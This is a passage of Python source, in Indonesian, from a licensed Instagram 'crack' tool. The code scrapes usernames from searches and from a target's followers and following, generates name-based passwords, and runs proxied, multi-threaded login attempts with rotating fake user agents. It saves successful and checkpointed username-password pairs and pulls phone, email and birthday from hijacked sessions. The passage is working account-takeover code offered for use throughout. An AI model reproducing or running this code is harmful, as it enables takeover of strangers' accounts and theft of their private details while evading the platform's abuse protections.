me_from_original_as_fallback,ig_android_ad_watchinstall_universe,ig_android_ad_viewability_logging_universe,ig_android_new_optic,ig_android_direct_visual_replies,ig_android_stories_search_reel_mentions_universe,ig_android_threaded_comments_universe,ig_android_mark_reel_seen_on_Swipe_forward,ig_internal_ui_for_lazy_loaded_modules_experiment,ig_fbns_shared,ig_android_capture_slowmo_mode,ig_android_live_viewers_list_search_bar,ig_android_video_single_surface,ig_android_offline_reel_feed,ig_android_video_download_logging,ig_android_last_edits,ig_android_exoplayer_4142,ig_android_post_live_viewer_count_privacy_universe,ig_android_activity_feed_click_state,ig_android_snippets_haptic_feedback,ig_android_gl_drawing_marks_after_undo_backing,ig_android_mark_seen_state_on_viewed_impression,ig_android_live_backgrounded_reminder_universe,ig_android_live_hide_viewer_nux_universe,ig_android_live_monotonic_pts,ig_android_search_top_search_surface_universe,ig_android_user_detail_endpoint,ig_android_location_media_count_exp_ig,ig_android_comment_tweaks_universe,ig_android_ad_watchmore_entry_point_universe,ig_android_top_live_notification_universe,ig_android_add_to_last_post,ig_save_insights,ig_android_live_enhanced_end_screen_universe,ig_android_ad_add_counter_to_logging_event,ig_android_blue_token_conversion_universe,ig_android_exoplayer_settings,ig_android_progressive_jpeg,ig_android_offline_story_stickers,ig_android_gqls_typing_indicator,ig_android_chaining_button_tooltip,ig_android_video_prefetch_for_connectivity_type,ig_android_use_exo_cache_for_progressive,ig_android_samsung_app_badging,ig_android_ad_holdout_watchandmore_universe,ig_android_offline_commenting,ig_direct_stories_recipient_picker_button,ig_insights_feedback_channel_universe,ig_android_insta_video_abr_resize,ig_android_insta_video_sound_always_on'''
  374.     SIG_KEY_VERSION = '4'
  375.  
  376.     def __init__(self,username,password):
  377.         self.username=username
  378.         self.password=password
  379.         m = hashlib.md5()
  380.         m.update(username.encode('utf-8') + password.encode('utf-8'))
  381.         self.device_id = self.generateDeviceId(m.hexdigest())
  382.         self.uuid = self.generateUUID(True)
  383.         self.s = requests.Session()
  384.  
  385.     def generateDeviceId(self, seed):
  386.         volatile_seed = "12345"
  387.         m = hashlib.md5()
  388.         m.update(seed.encode('utf-8') + volatile_seed.encode('utf-8'))
  389.         return 'android-' + m.hexdigest()[:16]
  390.  
  391.     def generateUUID(self, type):
  392.         generated_uuid = str(uuid.uuid4())
  393.         if (type):
  394.             return generated_uuid
  395.         else:
  396.             return generated_uuid.replace('-', '')
  397.  
  398.     def loginAPI(self):
  399.         token=self.s.get("https://www.instagram.com/",headers={"user-agent":User_Agent()}).text
  400.         crf_token=re.findall(r"\"csrf_token\"\:\"(.*?)\"", str(token))[0]
  401.         self.s.headers.update({'Connection': 'close',
  402.             'Accept': '*/*',
  403.             'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  404.             'Cookie2': '$Version=1',
  405.             'Accept-Language': 'en-US',
  406.             'User-Agent': user_agentAPI()})
  407.         self.data = json.dumps({
  408.             'phone_id': self.generateUUID(True),
  409.             '_csrftoken': crf_token,
  410.             'username': self.username,
  411.             'guid': self.uuid,
  412.             'device_id': self.device_id,
  413.             'password': self.password,
  414.             'login_attempt_count': '0'})
  415.         self.payload = 'signed_body={}.{}&ig_sig_key_version=4'.format(
  416.             self.generateUUID(False),
  417.             urllib.request.quote(self.data)
  418.         )
  419.         x=self.s.post("https://i.instagram.com/api/v1/accounts/login/", self.payload)
  420.         x_jason=json.loads(x.text)
  421.         x_kukis=x.cookies.get_dict()
  422.         if "logged_in_user" in x.text:
  423.             kuki=";".join([v+"="+x_kukis[v] for v in x_kukis])
  424.             #id=x_jason['logged_in_user']['pk']
  425.             #nm=x_jason['logged_in_user']['full_name']
  426.             #pn=x_jason['logged_in_user']['phone_number']
  427.             return {'status':'success','cookie':kuki,'userame':self.username}
  428.         elif 'challenge_required' in x.text:
  429.             return {'status':'checkpoint'}
  430.         else:
  431.             return {'status':'login_error'}
  432. C = ''
  433.  
  434. class instagram:
  435.     def __init__(self,external,username,cookie):
  436.         self.ext=external
  437.         self.username=username
  438.         self.cookie=cookie
  439.         self.s=requests.Session()
  440.         self.tol = Console()
  441.     def logo(self):
  442.         for i in external:
  443.             try:
  444.                 nama=i.split('|')[0]
  445.                 followers=i.split('|')[1]
  446.                 following=i.split('|')[2]
  447.             except:
  448.                 pass
  449.             banner()
  450.             self.mentod()
  451.             tap = me()
  452.             tap.add_column('NO', style='', justify='center')
  453.             tap.add_column('MENU', style='', justify='left', width=55)
  454.             tap.add_column('STATUS', style='green', justify='right')
  455.             tap.add_row('[01]','Crack Dari Pencarian Nama                   ','[ON]')
  456.             tap.add_row('[02]','Crack Dari Pengikut',                   '[ON]')
  457.             tap.add_row('[03]','Crack Dari Mengikuti            ',                  '[ON]')
  458.             tap.add_row('[04]','Crack Ulang Hasil [yellow]CP[/yellow]                   ','[ON]')
  459.             tap.add_row('[05]','Lihat Hasil Crack                   ','[ON]')
  460.             tap.add_row('[06]','Bot auto unfollow','[red][OFF][/red]')
  461.             tap.add_row('[E]','[red]LOGOUT[/red]','[ON]')
  462.             sol().print(tap, justify='green')
  463.     def mentod(self):
  464.         for i in external:
  465.             nama=i.split('|')[0]
  466.             followers=i.split('|')[1]
  467.             following=i.split('|')[2]
  468.             ses=requests.Session()
  469.             try:
  470.                 device = platform()
  471.                 lisen=open('.lisen.txt').read()
  472.                 met = ses.get("https://instagram.fulldxrmedia.xyz/check.php?key=%s&dev=%s" % (lisen, device)).json()
  473.                 #men = met['licenseKey']
  474.                 join = met["join"]
  475.                 kadaluarsa = met["expired"]
  476.                 nama1=met["nama"]
  477.                 email=met["email"]
  478.                 urut = []
  479.                 urut.append(Panel(f"Nama     : {nama}       \nUsername : {self.username}        \nPengikut : {followers}                    \nMengikuti: {following}        ",title=f'DATA AKUN',padding=(0,2), style="white"))
  480.                 urut.append(Panel(f"Nama : {nama1}\nEmail : {email}\nBergabung : {join}\nKadaluarsa : {kadaluarsa}",title=f'LISENSI',padding=(0,2), style="white"))
  481.                 self.tol.print(Columns(urut))
  482.             except:
  483.                 tanggal = "-"
  484.                 bulan = "-"
  485.                 tahun = "-"
  486.                 tanggal1 = "-"
  487.                 bulan1 = "-"
  488.                 tahun1 = "-"
  489.                 nama1="-"
  490.                 email="-"
  491.                 urut=[]
  492.                 urut.append(Panel(f"{C}Nama     : {nama}        \n{C}Username : {self.username}         \n{C}Pengikut : {followers}                     \n{C}Mengikuti: {following}     ",title=f'DATA AKUN',padding=(0,2), style="white"))
  493.                 urut.append(Panel(f"Nama : {nama1}\nEmail : {email}\nBergabung : {tanggal1} {bulan1} {tahun1}\n{C}Kadaluarsa : {tanggal} {bulan} {tahun}",title=f'LISENSI',padding=(0,2), style="white"))
  494.                 self.tol.print(Columns(urut))
  495.  
  496.     def BUG(self):
  497.         bug=f'[•] Bantu saya mengembangkan script ini. apapun bugnya tolong laporkan kepada saya, semakin dikit bugnya semakin baik scriptnya.\n[•] Anda bisa melaporkan langsung ke wa admin +6283114591358\n[•]'
  498.         bug1 = nel(bug, style='cyan')
  499.         cetak(nel(bug1, title='REPORT BUG'))
  500.         exit()
  501.  
  502.     def ChangeLog(self):
  503.         io='[1] Fix bug login instagram\n[2] Ganti tampilan scripts\n[3] Fix bug lisensi invalid'
  504.         oi = nel(io, style='cyan')
  505.         cetak(nel(oi, title='Fitur yang di update'))
  506.  
  507.         io='[1] Bot unfollow instagram\n[2] Bot spam komen'
  508.         oi = nel(io, style='cyan')
  509.         cetak(nel(oi, title='Fitur tambahan'))
  510.  
  511.         io='[1] Untuk fitur brute force masih dalam perbaikan\n[2] Untuk fitur Bot unfollow masih dalam perbaikan\n[3] Untuk fitur bot komen masih dalam perbaikan'
  512.         oi = nel(io, style='cyan')
  513.         cetak(nel(oi, title='Fix Bug'))
  514.         exit()
  515.  
  516.     def Exit(self):
  517.         kel='[?] Apakah anda yakin ingin keluar ?'
  518.         kel1=nel(kel,style='red')
  519.         sol().print(kel1)
  520.         x=input(f'\n{N}[•] Jawaban [y/t] : {C}')
  521.         if x in ('y','Y'):
  522.             os.remove('.kukis.log')
  523.             os.remove('.username')
  524.             os.system('python run.py')
  525.         elif x in ('t','T'):
  526.             os.system('python run.py')
  527.         else:
  528.             self.Exit()
  529.  
  530.     def sixAPI(self,six_id):
  531.         url = "https://www.instagram.com/web/search/topsearch/?context=blended&query="+six_id+"&rank_token=0.3953592318270893&count=1"
  532.         x = requests.get(url)
  533.         x_jason = x.json()
  534.         uid = str( x_jason['users'][0].get("user").get("pk") )
  535.         return uid
  536.  
  537.     def unfollowAPI(self,user_id,username_id,cookie):
  538.         uuid=generateUUID(True)
  539.         xx=self.s.get("https://www.instagram.com/",headers={"user-agent":USN}).content
  540.         crf_token = re.findall('{"config":{"csrf_token":"(.*)","viewer"',str(xx))[0]
  541.         s.headers.update({'Connection': 'close',
  542.                        'Accept': '*/*',
  543.                        'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  544.                        'Cookie2': '$Version=1',
  545.                        'Accept-Language': 'en-US',
  546.                        'User-Agent': USN})
  547.  
  548.         data = json.dumps({'_uuid': uuid,
  549.                            '_uid': username_id,
  550.                            'user_id': user_id,
  551.                            '_csrftoken': crf_token})
  552.  
  553.         self.payload = 'signed_body={}.{}&ig_sig_key_version=4'.format(
  554.             self.generateUUID(False),
  555.             urllib.request.quote(data))
  556.         return s.post('https://i.instagram.com/api/v1/friendships/destroy/%s/'%(user_id),self.payload,cookies=cookie).text
  557.  
  558.  
  559.     def searchAPI(self,cookie,nama):
  560.         try:
  561.             for ba in range(100):
  562.                 x=s.get('https://www.instagram.com/web/search/topsearch/?count=100000&context=blended&query=%s&rank_token=0.21663777590422106&include_reel=true'%(nama),cookies=cookie,headers={"user-agent":USN})
  563.                 x_jason=json.loads(x.text)
  564.                 try:
  565.                     for i in x_jason['users']:
  566.                         user=i['user']
  567.                         username=user['username']
  568.                         fullname=user['full_name']
  569.                         internal.append(f'{username}|{fullname}')
  570.                 except:
  571.                     if 'challenge' in x.text:
  572.                         break
  573.                     else:
  574.                         continue
  575.         except Exception as e:print(e)
  576.         return internal
  577.     def ua_ig(self):
  578.         rr = random.randint
  579.         return (f"Mozilla/5.0 (Linux; Android {str(rr(7,12))}.{str(rr(7,12))}; Redmi Note {str(rr(7,12))}) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(80,105))}.0.{str(rr(1111,4444))}.{str(rr(111,400))} Mobile Safari/537.36 Instagram 84.0.0.21.105 Android (24/7.0; 380dpi; 1080x1920; OnePlus; ONEPLUS A3010; OnePlus3T; qcom; en_US; 145652094)")
  580.     def idAPI(self,cookie,id):
  581.         if 'sukses' in lisensiku:
  582.             try:
  583.                 m=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(id),cookies=cookie,headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
  584.                 m_jason=m.json()["data"]["user"]
  585.                 idx=m_jason["id"]
  586.             except requests.exceptions.ConnectionError:
  587.                 exit(f"\n{M}┣[!] Koneksi internet bermasalah{C}")
  588.             except Exception as e:
  589.                 exit(f"\n{M}┣[!] Username yang anda masukan tidak di temukan pastikan target bersifat publik{C}")
  590.             return idx
  591.         else:lisensi()
  592.        
  593.     def infoAPI(self,cookie,api,id):
  594.         if 'sukses' in  lisensiku:
  595.             try:
  596.                 x=s.get(api%(id),cookies=cookie,headers={"user-agent":USN})
  597.                 x_jason=json.loads(x.text)
  598.                 for i in x_jason['users']:
  599.                     username = i["username"]
  600.                     nama = i["full_name"]
  601.                     internal.append(f'{username}|{nama}')
  602.                     following.append(username)
  603.                 if 'pengikut' in menudump:
  604.                     maxid=x_jason['next_max_id']
  605.                     for z in range (9999):
  606.                         x=s.get('https://i.instagram.com/api/v1/friendships/'+id+'/followers/?count=100&max_id='+maxid,cookies=cookie,headers={"user-agent":USN})
  607.                         x_jason=json.loads(x.text)
  608.                         try:
  609.                             for i in x_jason['users']:
  610.                                 username = i["username"]
  611.                                 nama = i["full_name"]
  612.                                 internal.append(f'{username}|{nama}')
  613.                                 following.append(username)
  614.                             try:
  615.                                 maxid=x_jason['next_max_id']
  616.                             except:
  617.                                 break
  618.                         except:
  619.                             if 'challenge' in x.text:
  620.                                 break
  621.                             else:
  622.                                 continue
  623.                 else:pass
  624.             except requests.exceptions.ConnectionError:
  625.                 exit(f'\n{M}┣[!] Koneksi internet bermasalah{C}')
  626.             except Exception as e:
  627.                 print(f'\n{M}┣[!] Username yang anda masukan tidak di temukan{N}')
  628.             return internal
  629.         else:lisensi()
  630.        
  631.     def ifoAPI(self,cookie,api,id):
  632.         if 'sukses' in  lisensiku:
  633.             try:
  634.                 x=s.get(api%(id),cookies=cookie,headers={"user-agent":USN})
  635.                 x_jason=json.loads(x.text)
  636.                 for i in x_jason['users']:
  637.                     username = i["username"]
  638.                     nama = i["full_name"]
  639.                     internal.append(f'{username}|{nama}')
  640.                     following.append(username)
  641.                 if 'mengikuti' in menudump:
  642.                     maxid=x_jason['next_max_id']
  643.                     for z in range (9999):
  644.                         x=s.get('https://i.instagram.com/api/v1/friendships/'+id+'/following/?count=100&max_id='+maxid,cookies=cookie,headers={"user-agent":USN})
  645.                         x_jason=json.loads(x.text)
  646.                         try:
  647.                             for i in x_jason['users']:
  648.                                 username = i["username"]
  649.                                 nama = i["full_name"]
  650.                                 internal.append(f'{username}|{nama}')
  651.                                 following.append(username)
  652.                             try:
  653.                                 maxid=x_jason['next_max_id']
  654.                             except:
  655.                                 break
  656.                         except:
  657.                             if 'challenge' in x.text:
  658.                                 break
  659.                             else:
  660.                                 continue
  661.                 else:pass
  662.             except requests.exceptions.ConnectionError:
  663.                 exit(f'\n{M}┣[!] Koneksi internet bermasalah{C}')
  664.             except Exception as e:
  665.                 print(f'\n{M}┣[!] Username yang anda masukan tidak di temukan{N}')
  666.             return internal
  667.         else:lisensi()
  668.  
  669.     def inngfo(self, coki):
  670.         try:
  671.             link = s.get(f"https://i.instagram.com/api/v1/accounts/edit/web_form_data/", headers={"user-agent":USN},cookies={"cookie":coki}).json()["form_data"]
  672.             nomo = link["phone_number"].replace("-", "").replace(" ", "")
  673.             tggl = link["birthday"]
  674.             year, month, day = tggl.split("-")
  675.             month = bulan_ttl[month]
  676.             tanggal = (f"{day} {month} {year}")
  677.             email = link["email"]
  678.         except:
  679.             nomo = "-"
  680.             tanggal = "-"
  681.             email = "-"
  682.         return nomo, tanggal, email
  683.     def tahun(self,coki):
  684.         ses=requests.Session()
  685.         try:
  686.             b = ses.get("https://www.instagram.com/accounts/access_tool/", cookies={"cookie":coki})
  687.             soup = parser(b.text,'html.parser')
  688.             body = soup.find("body")
  689.             script = body.find("script", text=lambda t: t.startswith("window._sharedData"))
  690.             script_json = script.string.split(" = ", 1)[1].rstrip(";")
  691.             script_json = json.loads(script_json)
  692.             i = script_json["entry_data"]['SettingsPages']
  693.             regax = re.findall('\d+',str(i))
  694.             thn = datetime.fromtimestamp(int(regax[0])).strftime('%d %B %Y')
  695.         except:
  696.             thn = "-"
  697.         return thn
  698.     def ingfo(self):
  699.         urut = []
  700.         prints(Panel(f"[{bc}!{hapus}] Hasil crack akan di simpan di dalam folder results", padding=(0,4),style=""))
  701.         urut.append(Panel(f"result/[bold green]OK-{day}.txt[/]",padding=(0,4),style=""))
  702.         urut.append(Panel(f"result/[bold yellow]CP-{day}.txt[/]",padding=(0,4),style=""))
  703.         self.tol.print(Columns(urut))
  704.  
  705.     def ifo(self):
  706.         urut = []
  707.         prints(Panel(f" [{bc}+{hapus}] Pilih methode",style=""))
  708.         urut.append(Panel(f"[01] Methode API",padding=(0,7),style=""))
  709.         urut.append(Panel(f"[02] Methode API V2",padding=(0,7),style=""))
  710.         urut.append(Panel(f"[03] Methode AJAX",padding=(0,7),style=""))
  711.         self.tol.print(Columns(urut))
  712.  
  713.     def passwordAPI(self,xnx):
  714.         idtar=f' [•] TOTAL ID  : [cyan]{len(internal)} [/cyan]'
  715.         idtar1=nel(idtar,style='')
  716.         sol().print(idtar1)
  717.         self.ifo()
  718.         u = input(f'[•] Pilih methode : ')
  719.         if u in ["1","01"]:
  720.             method.append('satu')
  721.         elif u in ["2","02"]:
  722.             method.append('dua')
  723.         elif u in ["3", "03"]:
  724.             method.append('tiga')
  725.         else:
  726.             method.append('satu')
  727.         komb=nel('[1] Name,Name123,Name1234\n[2] Name,Name123,Name1234,Name12345\n[3] Name,Name123,Name1234,Name12345,Name123456\n[4] Name,Name123,Name1234 + Password Manual',style='')
  728.         prints(nel(komb,title='[cyan]List Password[/cyan]'))
  729.         c=input(f'{N}[•] Masukan Pilihan :{C} ')
  730.         if c in ["01","1"]:
  731.             self.generateAPI(xnx,c)
  732.         elif c in ["2","02"]:
  733.             self.generateAPI(xnx,c)
  734.         elif c in ["3","03"]:
  735.             self.generateAPI(xnx,c)
  736.         elif c in ["4","04"]:
  737.             prints(Panel(f"{P2}contoh password : sayang,anjing,bangsat",width=80,padding=(0,4),style=""))
  738.             zx=input(f'{N}[•] Tambahkan password :{N} ')
  739.             self.generateAPI(xnx,c,zx)
  740.         else:
  741.             self.passwordAPI(xnx)
  742.  
  743.     def generateAPI(self,user,o,zx=''):
  744.         self.ingfo()
  745.         with ThreadPoolExecutor(max_workers=15) as shinkai:
  746.             for i in user:
  747.                 try:
  748.                     username=i.split("|")[0]
  749.                     password=i.split("|")[1].lower()
  750.                     for w in password.split(" "):
  751.                         if len(w)<3:
  752.                             continue
  753.                         else:
  754.                             w=w.lower()
  755.                             if o=="1":
  756.                                 if len(w)==3 or len(w)==4 or len(w)==5:
  757.                                     sandi=[w,w+'123',w+'1234']
  758.                                 else:
  759.                                     sandi=[w,w+'123',w+'1234']
  760.                             elif o=="2":
  761.                                 if len(w)==3 or len(w)==4 or len(w)==5:
  762.                                     sandi=[w,w+'123',w+'1234',password.lower()]
  763.                                 else:
  764.                                     sandi=[w+'123',w,w+'1234',password.lower()]
  765.                             elif o=="3":
  766.                                 if len(w)==3 or len(w)==4 or len(w)==5:
  767.                                     sandi=[w,w+'123',w+'1234',w+'321',w+'12345',w+'123456',password.lower()]
  768.                                 else:
  769.                                     sandi=[w,w+'123',w+'1234',w+'321',w+'12345',w+'123456',password.lower()]
  770.                             elif o=="4":
  771.                                 if len(w)==3 or len(w)==4 or len(w)==5:
  772.                                     sandi = zx.replace(" ", "").split(",")
  773.                                 else:
  774.                                     sandi = zx.replace(" ", "").split(",")
  775.                             if 'satu' in method:
  776.                                 shinkai.submit(self.crackAPI,username,sandi)
  777.                             elif 'dua' in method:
  778.                                 shinkai.submit(self.CrackAPIv2,username,sandi)
  779.                             elif 'tiga' in method:
  780.                                 shinkai.submit(self.crackerAPI,username,sandi)
  781.                             else:
  782.                                 shinkai.submit(self.crackAPI,username,sandi)
  783.                 except:
  784.                     pass
  785.         print('\n')
  786.         prints(Panel(f"{P2}[{H2}✓{P2}] crack akun selesai",width=80,padding=(0,4),style=f"{color_table}"));time.sleep(3)
  787.         exit()
  788.  
  789.     def APIinfo(self,user):
  790.         try:
  791.             x=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(user),headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
  792.             x_jason=x.json()["data"]["user"]
  793.             nama=x_jason["full_name"]
  794.             pengikut=x_jason["edge_followed_by"]["count"]
  795.             mengikut=x_jason["edge_follow"]["count"]
  796.             postingan=x_jason["edge_owner_to_timeline_media"]["count"]
  797.         except:
  798.             nama = "-"
  799.             pengikut = "-"
  800.             mengikut = "-"
  801.             postingan = "-"
  802.  
  803.         return nama,pengikut,mengikut,postingan
  804.  
  805.     def CrackAPIv2(self,user,pas):
  806.         global loop,success,checkpoint
  807.         ses=requests.Session()
  808.         sys.stdout.write(f"\r{CY}[CRACK] [{K}{loop}/{len(internal)}{C}] {H} OK : - {len(success)}{C}  {K} CP : - {len(checkpoint)} {N}\r"),sys.stdout.flush()
  809.         try:
  810.             for pw in pas:
  811.                 ncek=random.randint(100000000000, 9999999999999)
  812.                 ts=calendar.timegm(current_GMT)
  813.                 nip=random.choice(proxy)
  814.                 proxs={'http': 'socks5://'+nip}
  815.                 p=ses.get('https://www.instagram.com/web/__mid')
  816.                 aa1='Mozilla/5.0 (Linux; Android'
  817.                 b1=random.choice(['4','5','6','7','8','9','10','11','12'])
  818.                 c1='BRAVIA 2K GB ATV3)'
  819.                 g1='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
  820.                 h1=random.randrange(73,100)
  821.                 i1='0'
  822.                 j1=random.randrange(4200,4900)
  823.                 k1=random.randrange(40,150)
  824.                 l1='Mobile Safari/537.36'
  825.                 uasu=f"{aa1} {b1}; {c1} {g1}{h1}.{i1}.{j1}.{k1} {l1}"
  826.                 aa3='Mozilla/5.0 (Linux; Android'
  827.                 b3=random.choice(['4','5','6','7','8','9','10','11','12'])
  828.                 c3='vivo 1606 Build/MMB29M; wv)'
  829.                 g3='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
  830.                 h3=random.randrange(73,100)
  831.                 i3='0'
  832.                 j3=random.randrange(4200,4900)
  833.                 k3=random.randrange(40,150)
  834.                 l3='Mobile Safari/537.36 VivoBrowser/6.8.0.1'
  835.                 uasu3=f"{aa3} {b3}; {c3} {g3}{h3}.{i3}.{j3}.{k3} {l3}"
  836.                 aa5='Mozilla/5.0 (Linux; Android'
  837.                 b5=random.choice(['4','5','6','7','8','9','10','11','12'])
  838.                 c5='HTC Build/OPM2.171019.012; wv)'
  839.                 g5='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/'
  840.                 h5=random.randrange(73,100)
  841.                 i5='0'
  842.                 j5=random.randrange(4200,4900)
  843.                 k5=random.randrange(40,150)
  844.                 l5='Mobile Safari/537.36'
  845.                 uasu5=f"{aa5} {b5}; {c5} {g5}{h5}.{i5}.{j5}.{k5} {l5}"
  846.                 iky_gas=[uasu,uasu3,uasu5]
  847.                 iky_ua=random.choice(iky_gas)
  848.                 headers={
  849.                 'Host': 'i.instagram.com',
  850.                 'content-length': '355',
  851.                 'sec-ch-ua': '"Chromium";v="107", "Not=A?Brand";v="24"',
  852.                 'x-ig-app-id': '1217981644879628',
  853.                 'x-ig-www-claim': '0',
  854.                 'sec-ch-ua-mobile': '?1',
  855.                 'x-instagram-ajax': '1006744097',
  856.                 'user-agent': iky_ua,
  857.                 'x-csrftoken': p.cookies['csrftoken'],
  858.                 'sec-fetch-site': 'same-origin',
  859.                 'sec-fetch-mode': 'cors',
  860.                 'sec-fetch-dest': 'empty',
  861.                 'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  862.                 data={
  863.                     "enc_password": "#PWD_INSTAGRAM_BROWSER:0:{}:{}".format(random.randint(100000000000, 9999999999999),pw),
  864.                     "username": user,
  865.                     "queryParams": {},
  866.                     "optIntoOneTap": False,
  867.                     "trustedDeviceRecords": {}}
  868.                 respon=ses.post('https://i.instagram.com/api/v1/web/accounts/login/ajax/', headers=headers, data=data, proxies=proxs)
  869.                 iky=json.loads(respon.text)
  870.                 if 'userId' in str(iky):
  871.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  872.                     io=f"""{crot}[white] Nama : [green]{nama}
  873. {crot}[white] Username : [green]{user}
  874. {crot}[white] Password : [green]{pw}
  875. {crot}[white] Followers : [green]{pengikut}
  876. {crot}[white] Following : [green]{mengikut}
  877. {crot}[white] Postingan : [green]{postingan}"""
  878.                     prints(nel(io,title='[green]LIVE[white]',style='white',width=80,padding=(0,8)))
  879.                     open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  880.                     success.append(user)
  881.                     break
  882.                 elif 'checkpoint_url' in str(iky):
  883.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  884.                     io=f"""{crit}[white] Nama : [yellow]{nama}
  885. {crit}[white] Username : [yellow]{user}
  886. {crit}[white] Password : [yellow]{pw}
  887. {crit}[white] Followers : [yellow]{pengikut}
  888. {crit}[white] Following : [yellow]{mengikut}
  889. {crit}[white] Postingan : [yellow]{postingan}"""
  890.                     prints(nel(io,title='[yellow]CHECKPOINT[white]', style='white',width=80,padding=(0,8)))
  891.                     open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  892.                     checkpoint.append(user)
  893.                     break
  894.                 elif 'spam' in str(respon.text):
  895.                     sys.stdout.write(f"\r[!] {M}IP DI BLOKIR ON OFF MODE PESAWAT!!                 ");sys.stdout.flush();sleep(0)
  896. #                   self.crackAPI(user,pas)
  897.                 elif 'Please wait a few minutes' in str(respon.text):
  898.                     sys.stdout.write(f"\r[!] {M}IP DI BLOKIR ON OFF MODE PESAWAT!!                 ");sys.stdout.flush();sleep(0)
  899. #                   self.crackAPI(user,pas)
  900.                 elif 'ip_block' in str(respon.text):
  901.                     sys.stdout.write(f"\r[!] {M}IP DI BLOKIR ON OFF MODE PESAWAT!!                 ");sys.stdout.flush();sleep(0)
  902.                     self.crackAPI(user,pas)
  903.  
  904.                 else:
  905.                     continue
  906.  
  907.             loop+=1
  908.         except:
  909.             self.CrackAPIv2(user,pas)
  910.  
  911.    
  912.     def crackAPI(self,user,pas):
  913.         global loop,success,checkpoint
  914.         ses=requests.Session()
  915.         ugenter=open('.user-agent.txt','r').read().splitlines()
  916.         ua=random.choice(baru)
  917.         sys.stdout.write(f"\r{CY}[CRACK] [{K}{loop}/{len(internal)}{C}] {H} OK : - {len(success)}{C}  {K} CP : - {len(checkpoint)} {N}\r"),sys.stdout.flush()
  918.         try:
  919.             for pw in pas:
  920.                 ncek=random.randint(100000000000, 9999999999999)
  921.                 ts = calendar.timegm(current_GMT)
  922.                 nip=random.choice(proxy)
  923.                 proxs= {'http': 'socks5://'+nip}
  924.                 p = ses.get('https://www.instagram.com/web/__mid')
  925.                 aa1='Mozilla/5.0 (Linux; Android'
  926.                 b1=random.choice(['4','5','6','7','8','9','10','11','12'])
  927.                 c1='BRAVIA 2K GB ATV3)'
  928.                 g1='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
  929.                 h1=random.randrange(73,100)
  930.                 i1='0'
  931.                 j1=random.randrange(4200,4900)
  932.                 k1=random.randrange(40,150)
  933.                 l1='Mobile Safari/537.36'
  934.                 uasu=f"{aa1} {b1}; {c1} {g1}{h1}.{i1}.{j1}.{k1} {l1}"
  935.                 aa3='Mozilla/5.0 (Linux; Android'
  936.                 b3=random.choice(['4','5','6','7','8','9','10','11','12'])
  937.                 c3='vivo 1606 Build/MMB29M; wv)'
  938.                 g3='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
  939.                 h3=random.randrange(73,100)
  940.                 i3='0'
  941.                 j3=random.randrange(4200,4900)
  942.                 k3=random.randrange(40,150)
  943.                 l3='Mobile Safari/537.36 VivoBrowser/6.8.0.1'
  944.                 uasu3=f"{aa3} {b3}; {c3} {g3}{h3}.{i3}.{j3}.{k3} {l3}"
  945.                 aa5='Mozilla/5.0 (Linux; Android'
  946.                 b5=random.choice(['4','5','6','7','8','9','10','11','12'])
  947.                 c5='V2038 Build/SP1A.210812.003; wv)'
  948.                 g5='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/'
  949.                 h5=random.randrange(73,100)
  950.                 i5='0'
  951.                 j5=random.randrange(4200,4900)
  952.                 k5=random.randrange(40,150)
  953.                 l5='Mobile Safari/537.36'
  954.                 uasu5=f"{aa5} {b5}; {c5} {g5}{h5}.{i5}.{j5}.{k5} {l5}"
  955.                 iky_gas=[uasu,uasu3,uasu5]
  956.                 iky_ua=random.choice(iky_gas)
  957.                 headers={
  958.                 'Host': 'www.instagram.com',
  959.                 'content-length': '355',
  960.                 'sec-ch-ua': '"Chromium";v="107", "Not=A?Brand";v="24"',
  961.                 'x-ig-app-id': '1217981644879628',
  962.                 'x-ig-www-claim': '0',
  963.                 'sec-ch-ua-mobile': '?1',
  964.                 'x-instagram-ajax': '1006744097',
  965.                 'user-agent': iky_ua,
  966.                 'x-csrftoken': p.cookies['csrftoken'],
  967.                 'sec-fetch-site': 'same-origin',
  968.                 'sec-fetch-mode': 'cors',
  969.                 'sec-fetch-dest': 'empty',
  970.                 'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  971.                 data = {
  972.            "enc_password": "#PWD_INSTAGRAM_BROWSER:0:{}:{}".format(random.randint(100000000000, 9999999999999),pw),
  973.            "username": user,
  974.             "queryParams": {},
  975.             "optIntoOneTap": False,
  976.             "trustedDeviceRecords": {}}
  977.                 respon=ses.post('https://www.instagram.com/api/v1/web/accounts/login/ajax/', headers = headers, data = data, proxies = proxs,  allow_redirects=True)
  978.                 iky=json.loads(respon.text)
  979.                 if 'userId' in str(iky):
  980.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  981.                     io=f"""{crot}[white] Nama : [green]{nama}
  982. {crot}[white] Username : [green]{user}
  983. {crot}[white] Password : [green]{pw}
  984. {crot}[white] Followers : [green]{pengikut}
  985. {crot}[white] Following : [green]{mengikut}
  986. {crot}[white] Postingan : [green]{postingan}"""
  987.                     prints(nel(io,title='[green]LIVE[white]',width=80,padding=(0,8),style='white'))
  988.                     open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  989.                     success.append(user)
  990.                     break
  991.  
  992.                 elif 'checkpoint_url' in str(iky):
  993.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  994.                     io=f"""{crit}[white] Nama : [yellow]{nama}
  995. {crit}[white] Username : [yellow]{user}
  996. {crit}[white] Password : [yellow]{pw}
  997. {crit}[white] Followers : [yellow]{pengikut}
  998. {crit}[white] Following : [yellow]{mengikut}
  999. {crit}[white] Postingan : [yellow]{postingan}"""
